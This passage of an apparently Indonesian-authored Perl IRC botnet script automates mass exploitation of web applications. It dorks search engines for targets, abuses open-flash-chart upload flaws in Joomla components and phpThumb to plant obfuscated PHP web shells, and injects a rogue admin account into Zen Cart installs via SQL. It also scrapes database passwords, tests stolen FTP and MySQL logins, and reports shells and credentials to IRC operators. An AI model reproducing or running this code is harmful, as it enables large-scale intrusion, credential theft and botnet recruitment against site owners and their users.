  3343. my $count = 0;
  3344. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$acylogo);
  3345. my $num = scalar(@totexploit);
  3346. if ($num > 0){
  3347. foreach my $site(@totexploit){
  3348. $count++;
  3349. if ($count == $num-1) { &msg("$chan","$acylogo15$engine 9Finished 15for 9$dork "); }
  3350. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3351. my $nama = $simpan;
  3352. my $acyshell = "http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/barnner.php";
  3353. my $acys = "http://".$site."/administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php";
  3354. my $cek = &get_content($acys);
  3355. if ($cek =~ /Saving your image/i){
  3356. &msg("$chan","$acylogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3357. my $type = $rceinjector."?url=".$site."&type=acy";
  3358. my $cekk = &get_content($type);
  3359. $check = &get_content($acyshell."?barnner");
  3360. &get_content($acyshell."?delete");
  3361. &get_content($acyshell."?botnet");
  3362. if ($cekk =~ /sukses bos barnner/i){
  3363. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3364. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3365. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3366. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3367. &msg("$chan","$acylogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3368. &msg("$nama","$acylogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $acyshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3369. }
  3370. }
  3371. }
  3372. } exit; }
  3373. }
  3374. }
  3375. }
  3376. sub jincx_exploit() {
  3377. my $chan = $_[0];
  3378. my $bug = $_[1];
  3379. my $simpan = $_[2];
  3380. my $dork = $_[3];
  3381. my $engine = $_[4];
  3382. my $count = 0;
  3383. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$jinclogo);
  3384. my $num = scalar(@totexploit);
  3385. if ($num > 0){
  3386. foreach my $site(@totexploit){
  3387. $count++;
  3388. if ($count == $num-1) { &msg("$chan","$jinclogo15$engine 9Finished 15for 9$dork "); }
  3389. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3390. my $nama = $simpan;
  3391. my $jincshell = "http://".$site."/administrator/components/com_jinc/classes/graphics/tmp-upload-images/barnner.php";
  3392. my $jincs = "http://".$site."/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php";
  3393. my $cek = &get_content($jincs);
  3394. if ($cek =~ /Saving your image/i){
  3395. #&msg("$chan","$jinclogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3396. my $type = $rceinjector."?url=".$site."&type=jinc";
  3397. my $cekk = &get_content($type);
  3398. $check = &get_content($jincshell."?barnner");
  3399. &get_content($jincshell."?delete");
  3400. &get_content($jincshell."?botnet");
  3401. if ($cekk =~ /sukses bos barnner/i){
  3402. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3403. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3404. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3405. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3406. &msg("$chan","$jinclogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3407. &msg("$nama","$jinclogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $jincshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3408. }
  3409. }
  3410. }
  3411. } exit; }
  3412. }
  3413. }
  3414. }
  3415. sub jnewsx_exploit() {
  3416. my $chan = $_[0];
  3417. my $bug = $_[1];
  3418. my $simpan = $_[2];
  3419. my $dork = $_[3];
  3420. my $engine = $_[4];
  3421. my $count = 0;
  3422. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$jnewslogo);
  3423. my $num = scalar(@totexploit);
  3424. if ($num > 0){
  3425. foreach my $site(@totexploit){
  3426. $count++;
  3427. if ($count == $num-1) { &msg("$chan","$jnewslogo15$engine 9Finished 15for 9$dork "); }
  3428. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3429. my $nama = $simpan;
  3430. my $jnewsshell = "http://".$site."/components/com_jnews/includes/openflashchart/tmp-upload-images/barnner.php";
  3431. my $jnewss = "http://".$site."/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php";
  3432. my $cek = &get_content($jnewss);
  3433. if ($cek =~ /Saving your image/i){
  3434. #&msg("$chan","$jnewslogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3435. my $type = $rceinjector."?url=".$site."&type=jnews";
  3436. my $cekk = &get_content($type);
  3437. $check = &get_content($jnewsshell."?barnner");
  3438. &get_content($jnewsshell."?delete");
  3439. &get_content($jnewsshell."?botnet");
  3440. if ($cekk =~ /sukses bos barnner/i){
  3441. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3442. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3443. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3444. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3445. &msg("$chan","$jnewslogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3446. &msg("$nama","$jnewslogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $jnewsshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3447. }
  3448. }
  3449. }
  3450. } exit; }
  3451. }
  3452. }
  3453. }
  3454. sub zen_exploit() {
  3455. my $chan = $_[0];
  3456. my $bug = $_[1];
  3457. my $simpan = $_[2];
  3458. my $dork = $_[3];
  3459. my $engine = $_[4];
  3460. my $count = 0;
  3461. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$zenlogo);
  3462. my $num = scalar(@totexploit);
  3463. if ($num > 0){
  3464. foreach my $site(@totexploit){
  3465. $count++;
  3466. if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
  3467. my $test = "http://".$site.$bug;
  3468. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3469. my $html = &get_content($test);
  3470. if ($html =~ /zc_install/){
  3471. &msg("$chan","$zenlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15 ");
  3472. &zen_query($chan,$site,$test,$engine,$simpan);
  3473. }
  3474. } exit; }
  3475. }
  3476. }
  3477. }
  3478. sub zen_query() {
  3479. my $chan = $_[0];
  3480. my $url = $_[1];
  3481. my $test = $_[2];
  3482. my $engine = $_[3];
  3483. my $simpan = $_[4];
  3484. my $code = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (2283,'abc','localhost','617ec22fbb8f201c366e9848c0eb6925:87');";
  3485. my $req = HTTP::Request->new(POST => $test);
  3486. my $nama = $simpan;
  3487. $req->content_type("application/x-www-form-urlencoded");
  3488. $req->content("query_string=".$code);
  3489. my $ua = LWP::UserAgent->new(agent => $uagent);
  3490. $ua->timeout(3);
  3491. my $res = $ua->request($req);
  3492. my $data = $res->as_string;
  3493. if ( $data =~ /1 statements processed/i ) {
  3494. my $vuln = "http://".$url."admin/login.php";
  3495. my $user = "abc";
  3496. my $pass = "wew";
  3497. &msg("$chan","$zenlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (USER=$user) (PASS=$pass) ");
  3498. &msg("$nama","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  3499. &msg("$admin","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  3500. }
  3501. elsif ( $data =~ /Duplicate entry/i ) {
  3502. my $vuln = "http://".$url."admin/login.php";
  3503. my $user = "abc";
  3504. my $pass = "wew";
  3505. &msg("$chan","$zenlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (USER=$user) (PASS=$pass) ");
  3506. &msg("$nama","$zenlogo15$engine 4<9=4>9 Admin login (Lawas) 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  3507. &msg("$admin","$zenlogo15$engine 4<9=4>9 Admin login 4<9=4>9 $vuln15 (USER=$user) (PASS=$pass) ");
  3508. }
  3509. }
  3510. sub rci_exploit() {
  3511.     my $chan = $_[0];
  3512.     my $bug = $_[1];
  3513.     my $simpan = $_[2];
  3514.     my $dork = $_[3];
  3515.     my $engine = $_[4];
  3516.     my $count = 0;
  3517.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$rcilogo);
  3518.     my $num = scalar(@totexploit);
  3519.     if ($num > 0){
  3520.         foreach my $site(@totexploit){
  3521.             $count++;
  3522.         if ($count == $num-1) { &msg("$chan","$rcilogo4$engine14 Searching..."); }
  3523.             foreach my $jpath(@jpaths) {
  3524.             my $test = "http://".$site.$jpath.$jvuln."?name=magic.php";
  3525.             my $test1 = "http://".$site.$jpath.$jvuln."?name=magic.php.pHp";
  3526.                         my $test2 = "http://".$site.$jpath.$jvuln."?name=.htaccess";
  3527.             my $cek1 = &get_content($test);&get_content($test1);
  3528.             if ($cek1 =~ /Saving your image to/i){
  3529. &msg("$chan","$rcilogo 14Exploiting  11http://$site  10Loading.. ");
  3530.             &jg_ht($test2);                      
  3531.             &jg_magic($test);
  3532.             &jg_magic($test1);
  3533.             my $shell = "http://".$site.$jpath.$jshell;
  3534.             my $shellx = "http://".$site.$jpath.$jcpanel;
  3535.                         my $check = &get_content($shell);
  3536.                         my $jancok = &get_content($shellx);
  3537.                         if ($check =~ /BArNEr/i){
  3538.                 &os($shell,$chan,$engine,$rcilogo,$nick);
  3539.             }
  3540.                    
  3541.                         if ($jancok =~ /BArNEr/i){
  3542.                 &os2($shellx,$chan,$engine,$rcilogo,$nick);  }
  3543.        
  3544.             }     }
  3545.         }
  3546.     }
  3547.  
  3548. }
  3549.  
  3550.  
  3551.    
  3552.  
  3553.  
  3554.  
  3555. sub jinc_exploit() {
  3556.     my $chan = $_[0];
  3557.     my $bug = $_[1];
  3558.     my $simpan = $_[2];
  3559.     my $dork = $_[3];
  3560.     my $engine = $_[4];
  3561.     my $count = 0;
  3562.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$jinclogo);
  3563.     my $num = scalar(@totexploit);
  3564.     if ($num > 0){
  3565.         foreach my $site(@totexploit){
  3566.             $count++;
  3567.         if ($count == $num-1) { &msg("$chan","$jinclogo4$engine14 Searching..."); }
  3568.            
  3569.             my $test = "http://".$site.$bug."?name=magic.php";
  3570.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  3571.             my $test2 = "http://".$site.$bug."?name=.htaccess";
  3572.            
  3573.                        
  3574.             my $cek1 = &get_content($test);&get_content($test1);
  3575.             if ($cek1 =~ /Saving your image to/i){
  3576. &msg("$chan","$jinclogo 14Exploiting  11http://$site  10Loading.. ");
  3577.             &jg_ht($test2);
  3578.             &jg_magic($test);
  3579.             &jg_magic($test1);
  3580.             my $shell = "http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/magic.php";
  3581.             my $shellx = "http://".$site."/components/com_jinc/classes/graphics/tmp-upload-images/magic.php.pHp";
  3582.                         my $shell2 = "http://".$site."administrator/components/com_jinc/classes/graphics/tmp-upload-images/magic.php";
  3583.             my $shellx2 = "http://".$site."administrator/components/com_jinc/classes/graphics/tmp-upload-images/magic.php.pHp";
  3584.                         my $check = &get_content($shell);
  3585.                         my $check2 = &get_content($shellx);
  3586.                         my $checkx = &get_content($shell2);
  3587.                         my $checkx2 = &get_content($shellx2);
  3588.                         if ($check =~ /GIF89a/i){
  3589.                 &os($shell,$chan,$engine,$jinclogo,$nick);
  3590.             }
  3591. if ($check2 =~ /GIF89a/i){
  3592.                 &os($shellx,$chan,$engine,$jinclogo,$nick);
  3593.            
  3594. }                      
  3595.            
  3596.                        
  3597.                         if ($checkx =~ /GIF89a/i){
  3598.                 &os($shell2,$chan,$engine,$jinclogo,$nick);
  3599.             }
  3600. if ($checkx2 =~ /GIF89a/i){
  3601.                 &os($shellx2,$chan,$engine,$jinclogo,$nick);
  3602.             }
  3603.  
  3604.         }
  3605.     }
  3606. }
  3607. }
  3608.  
  3609. sub jnews_exploit() {
  3610.     my $chan = $_[0];
  3611.     my $bug = $_[1];
  3612.     my $simpan = $_[2];
  3613.     my $dork = $_[3];
  3614.     my $engine = $_[4];
  3615.     my $count = 0;
  3616.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$jnewslogo);
  3617.     my $num = scalar(@totexploit);
  3618.     if ($num > 0){
  3619.         foreach my $site(@totexploit){
  3620.             $count++;
  3621.         if ($count == $num-1) { &msg("$chan","$jnewslogo11$engine 10The End..."); }
  3622.            
  3623.             my $test = "http://".$site.$bug."?name=magic.php";
  3624.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  3625.                         my $test2 = "http://".$site.$bug."?name=.htaccess";
  3626.  
  3627.                        
  3628.             my $cek1 = &get_content($test);&get_content($test1);
  3629.             if ($cek1 =~ /Saving your image to/i){
  3630. &msg("$chan","$jnewslogo 14Exploiting  11http://$site  10Loading.. ");
  3631.             &jg_ht($test2);                      
  3632.             &jg_magic($test);
  3633.             &jg_magic($test1);
  3634.             my $shell = "http://".$site."components/com_jnews/includes/openflashchart/tmp-upload-images/magic.php";
  3635.             my $shellx = "http://".$site."components/com_jnews/includes/openflashchart/tmp-upload-images/magic.php.pHp";
  3636.                         my $shell2 = "http://".$site."administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/magic.php";
  3637.             my $shellx2 = "http://".$site."administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/magic.php.pHp";
  3638.                         my $check = &get_content($shell);
  3639.                         my $check2 = &get_content($shellx);
  3640.                         my $checkx = &get_content($shell2);
  3641.                         my $checkx2 = &get_content($shellx2);
  3642.                         if ($check =~ /GIF89a/i){
  3643.                 &os($shell,$chan,$engine,$jnewslogo,$nick);
  3644.             }
  3645. if ($check2 =~ /GIF89a/i){
  3646.                 &os($shellx,$chan,$engine,$jnewslogo,$nick);
  3647.            
  3648. }                      
  3649.                        
  3650.                         if ($checkx =~ /GIF89a/i){
  3651.                 &os($shell2,$chan,$engine,$jnewslogo,$nick);
  3652.             }
  3653. if ($checkx2 =~ /GIF89a/i){
  3654.                 &os($shellx2,$chan,$engine,$jnewslogo,$nick);
  3655.         }    
  3656.         }
  3657.     }
  3658. }
  3659. }
  3660.  
  3661.  
  3662. sub pthumb_exploit() {
  3663.    my $chan = $_[0];
  3664.     my $bug = $_[1];
  3665.     my $simpan = $_[2];
  3666.     my $dork = $_[3];
  3667.     my $engine = $_[4];
  3668. my $count = 0;
  3669. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$pthumblogo);
  3670. my $num = scalar(@totexploit);
  3671. if ($num > 0){
  3672. foreach my $site(@totexploit){
  3673. $count++;
  3674. if ($count == $num-1) { &msg("$chan","$pthumblogo4[12$engine4] 10The 4- 10End. . "); }
  3675.          
  3676.                
  3677. my @vulns = ('/phpthumb/','/phpThumb/','thumb','/');
  3678. foreach my $dir(@vulns){
  3679.  
  3680. my $hajar = "http://".$site.$dir.$magix;
  3681. &get_content($hajar); sleep(2);
  3682.  
  3683. my $shellku = "http://".$site.$dir."/phpThumb.libs.php";
  3684.  
  3685. my $check = &get_content($shellku); sleep(1);
  3686.  
  3687. if ($check =~ /BArNEr/i) {
  3688. my $safe = ""; my $os = ""; my $uid = "";
  3689. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3690. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3691. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3692. &msg("$chan","$pthumblogo4Private Shell1 14<9=14> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3693. &msg("$admin","$pthumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shellku (SafeMode=$safe) (OS=$os) uid=$uid ");
  3694. }
  3695. }              
  3696. }
  3697. }
  3698. }
  3699.  
  3700. ##################################################################################
  3701. sub ftp_connect {
  3702.     my $url = $_[0];
  3703.     my $host = $_[1];
  3704.     my $user = $_[2];
  3705.     my $pass = $_[3];
  3706.     my $chan = $_[4];
  3707.     my $engine = $_[5];
  3708.     my $logo = $_[6];
  3709.     my $success = 1;
  3710.     use Net::FTP;
  3711.     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  3712.         $success = 0 if $ftp->login($user,$pass);
  3713.         $ftp->quit;
  3714.         if ($success == 0) {
  3715.         &msg("$admin","$logo4$engine4 http://".$host." |7 ".$user.":".$pass." ");sleep(2);
  3716.     }
  3717. }
  3718.  
  3719. sub dbi_connect () {
  3720.     my $host = $_[0];
  3721.     my $user = $_[1];
  3722.     my $pass = $_[2];
  3723.     my $dtbs = $_[3];
  3724.     my $chan = $_[4];
  3725.     my $engine = $_[5];
  3726.     my $logo = $_[6];
  3727.     my $port = "3306";
  3728.     my $platform = "mysql";
  3729.     my $dsn = "dbi:$platform:$dtbs:$host:$port";
  3730.     my $DBIconnect=  DBI->connect($dsn,$user,$pass);
  3731.         if ($DBIconnect) {
  3732.         &msg("$admin","$logo4$engine4 http://".$host." |7 ".$user.":".$pass." ");
  3733.     }
  3734. }
  3735. sub getUserPass() {
  3736.     my $string = $_[0];
  3737.     my @lol = split("\r\n", $string);
  3738.     my $pass = "";
  3739.     my $user = "";
  3740.     foreach my $line (@lol) {
  3741.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  3742.             $pass = $3;
  3743.         }
  3744.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  3745.             $user = $3;
  3746.         }
  3747.     }
  3748.     return $user.":Viva-Byroe.Net:".$pass;
  3749. }
  3750.  
  3751. sub getinfo() {
  3752.     my $string = $_[0];
  3753.     my @lol = split("\r\n", $string);
  3754.     my $pass = "";
  3755.     my $user = "";
  3756.     my $dbs = "";
  3757.     foreach my $line (@lol) {
  3758.         if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  3759.             $pass = $3;
  3760.         }
  3761.         if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  3762.             $user = $3;
  3763.         }
  3764.         if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
  3765.             $dbs = $3;
  3766.         }
  3767.     }
  3768.     return $user.":Viva-Byroe.Net:".$pass.":Viva-Byroe.Net:".$dbs;
  3769. }
  3770. ##################################################################################
  3771. sub jg_magic(){
  3772. my $url = $_[0];
  3773. my $ua = LWP::UserAgent->new;
  3774. $data = "GIF89a";
  3775. $data.= "<?php eval(gzinflate(str_rot13(base64_decode('rUl7RhpWEP/7RZXvMM5E2aVvgKi587WWCgsSFRRDZqi3tY8BSfZoO7MCTfnu1z27ixBwzlzF0mWnn7/u6e7pfTdjjZhkEcZZpY7LWstwxiAJeeGGAafFnbdi3AFESlzOmUMLU0rvaZvt1rVvmWrmS7ktFn97fPumY+9lSthuEgiikQooFSbMgkJH6FzqnXht1OudGVTtYY/eItsN7pbYHf38T+/2jItBMxWwT3QGErQ7b55UmsEdswEkuQnQMqpGlOLmgPkVh4HkPoYyBJAKEg0/Z5gyhz8XLJLHAnRpErtvhtYP6rpk2q7pYKBdr9Odr2LfMI+zH1W1QAhdOwNayVwSknJhUpGgSxyxSwPGKOTCmgWmz9RsqFf63zio1TqQvywZeYzRduQlpY5+2u7pC1e+6W0qHSSe55tQ1177Zn+IpJId+meVQ5k/upqlr8Nr4gkyEiLaLpfzDE8u8yBiguYZ6bL4niGILIKbgAA1Qj2QZpyyLJ7XT2n1Qil8JvH+vcydO0PzbXfovXjF9sKAbi1uKfEwiXq2SxxXt9p2nvWMbfNRYh2c6oosEAeq1iXak0etXb041Vs9o9Nh95TbEi1QLiKwHAhenvpeKRpSSzQxWGabOk0lqaVvivwXSdT2qyp3O60oELJUIaG7whUe2zs8iFttvFtBQrtJLP8QfSY2CKHVuPvAtDVvhx5cz++b8gcE93V27qtRasvWXLkAUSOB29WoV1gQmgEEyIeQUbVLosXX+rgABQCfuI4mLfkz+AQLZhclV4ZCzOG3zFJLr/KHlwYOKV6jkcgrLP68mU3aqKSejzg0ufNlM1Cpqvv5PDTY1OWCq7moRSySau+IqiiapqKNp4psNldOFuo7hdh3t2e4ZiyLjALKsghlZBJaIF8E+8GeOOlcsJGUTyokGhdkHIVcUv6qRUlx81XWCvI8FlVJ8cNUccRZJGRAkEUC4bwoHxfosjMz+vdc3Nz8jA+QftlW5ggjSuC6b5/4OPagS87wgSCmzIFT6d6PL7Ma+r4ZOGwN7LpOlAgicxHTqGBGTgmWiVN636HL3GFv+e4TP7VQyb3pJfI8BvkyIttGaZaRMrggdsKHiepTcyyk3AfHFHOOPA8Ho/mPEC4iLzQdRWo9JsMoo/SzdVOu47AgUMtG7FgCA9DP2Nhea6SZz83U2g9EtNhRd2KTUhAL9jGbqfbHQpmfgFrwgxLbMznXhLmkkILMa9QS89ymAS+lauE5wIxdK6ll/iAkRcNk8XKKnm1gpSBk5DoZHENtlAz5gOCL0b1J8pQotyAnhXEd+uE9M0XrzDFDQP2uivAjI0iDx2+OpiTdcWB+iSmMNh0HbEjAg84cHHpfVvqGkCV+N7F6xjkRQCp9eA7m72kNcxv5Krt6n8VkGMOuF4WxY4OhCsvEyQn5m+hTq914SfV5E2Rk6TrT+5HVuHx1HnoMm94kOT46DO2j6cQ8OmsY4GrtZdNhjCYtVusI63UamEp9VuuvbD7INO3qa9y823VI/Y50BeNuP/h8YmgPVElw0qreWu47vsf7X0Hf187Dzex7dV3Vwc52ZYxt461Mv2Q5eOpoYTW21kJndgfo6bnZ6M+stcrwr6spVBsnlRTz2bBl/IR/JKzqxj9V661/Hve/NIfnIGKt27zTuFnYbOU4O78KX6tpQzlkUKBSdDbEcruHh0lwbe/Mpm3/6tMnoHTnUN/2t1GzAUsPAEJoq25eWj37blCT7zBBC1W0cmX2x4bhMBtpCxWzL2JuJFlssYYNfYjrC8FYkVdniS/bXtsfhBFZB0gp5QxySJnISHIwgSUALC92rD5qQ/xeG3NwMe9QmKKyqTKm78g9LHtno5gtzpj1fMZH5A95JBwXRGtAma2iJflnp3CmjLpnZGQk/8Oo4mTywTOVFww/Xzot0zbnoYXBAG/D5BhlK8rSAlhFqQy/yGqHVnniZ5d7cTEPXeqij38B')))); ?> ";
  3776. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  3777. print $res->as_string();
  3778. }
  3779. sub jg_cps(){
  3780. my $url = $_[0];
  3781. my $ua = LWP::UserAgent->new;
  3782. $data = "GIF89a";
  3783. $data.= "<?php eval(gzinflate(str_rot13(base64_decode('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')))); ?> ";
  3784. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  3785. print $res->as_string();
  3786. }
  3787.  
  3788. sub jg_ht(){
  3789. my $url = $_[0];
  3790. my $ua = LWP::UserAgent->new;
  3791. $data = "";
  3792. my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
  3793. print $res->as_string();
  3794. }
  3795.  
  3796. ##################################################################################
  3797. sub os() {
  3798.     my $url = $_[0];
  3799.     my $chan = $_[1];
  3800.     my $engine = $_[2];
  3801.     my $logo = $_[3];
  3802.     my $nick = $_[4];
  3803.     my @print;
  3804.         my $admin = "hammed";
  3805.     my $target = &get_content($url);
  3806.     if ($target =~ /BArNEr/i) {
  3807.     my $safe = ""; my $os = "";
  3808.     if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3809.     if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3810.     &msg("$chan","$logo4target sent to 12$nick 14$safe $os");
